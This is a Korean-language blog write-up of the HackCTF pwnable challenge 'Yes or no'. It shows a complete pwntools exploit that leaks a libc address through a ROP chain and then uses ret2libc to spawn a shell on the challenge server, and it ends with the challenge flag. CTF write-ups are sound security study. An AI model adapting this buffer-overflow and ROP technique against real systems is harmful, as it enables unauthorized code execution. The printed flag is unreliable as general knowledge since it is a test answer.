ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [HackCTF : Pwnable] Yes or no (150p)
    Wargame/HackCTF 2021. 8. 30. 15:26

    [HackCTF : Pwnable] Yes or no (150p)

    Yes or no
    checksec
    yes_or_no

    실행해보면 숫자 입력을 받고 종료한다.

    do_system+1094 관련해서 찾아보니 system함수를 실행할 때 피연산자[rsp+0x40]가 16byte로 정렬되어야 한단다.

     

    입력받은 숫자가 35줄 조건에 맞으면 gets함수가 실행된다.

     

    main

    비교하는 부분에 break를 걸고 값을 확인해보자.

     

    RAX

    0x960000

     

    여기서 RTL을 이용하면 되는데 ASLR 때문에 메모리 leak을 통해 libc_base를 구해줘야 한다.

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    from pwn import *
     
    = remote("ctf.j0n9hyun.xyz",3009)
    = ELF("./yes_or_no")
    libc = ELF("./libc-2.27.so")
     
    puts_plt = p64(e.plt['puts'])
    puts_got = p64(e.got['puts'])
    main = p64(e.symbols['main'])
    prdi = 0x00400883
    ret = 0x0040056e
    puts_off = libc.symbols["puts"]
    system_off = libc.symbols["system"]
    binsh_off = libc.search("/bin/sh").next()
     
    #payload1(Memory Leak)
    p.recvuntil("Show me your number~!\n")
    p.sendline("9830400")
    p.recvuntil("That's cool. Follow me\n")
    payload = "A"*26 
    payload += p64(prdi) 
    payload += puts_got 
    payload += puts_plt
    payload += main
    p.sendline(payload)
     
    puts_addr = u64(str(p.recv(6))+"\x00\x00")
    log.success("puts_addr = "+ hex(puts_addr))
    libc_base = puts_addr - puts_off
    system_addr = libc_base + system_off
    binsh_addr = libc_base + binsh_off
     
     
    #payload2(RTL)
    p.recvuntil("Show me your number~!\n")
    p.sendline("9830400")
    p.recvuntil("That's cool. Follow me\n")
    payload = "A"*26 
    payload += p64(prdi) 
    payload += p64(binsh_addr) 
    payload += p64(ret)
    payload += p64(system_addr)
    p.sendline(payload)
     
    p.interactive()
    cs

     

    puts를 통해 libc_base를 구하고 main으로 돌아와 RTL을 이용해 쉘을 실행시켰다.

    RTL 할 때 ret를 써줘서 16byte를 맞춰줌

     

    exploit

    HackCTF{4nd_4_P4ssing_necklace_in_h1s_h4nd}

    'Wargame > HackCTF' 카테고리의 다른 글

    [HackCTF : Pwnable] g++ pwn (200p)  (2) 2021.11.15
    [HackCTF : Pwnable] ROP (300p)  (0) 2021.08.31
    [HackCTF : Pwnable] Random Key (200p)  (0) 2021.07.12
    [HackCTF : Pwnable] Poet (200p)  (0) 2021.07.09
    [HackCTF : Pwnable] RTL_Core (250p)  (2) 2021.07.08

    댓글

Designed by Tistory.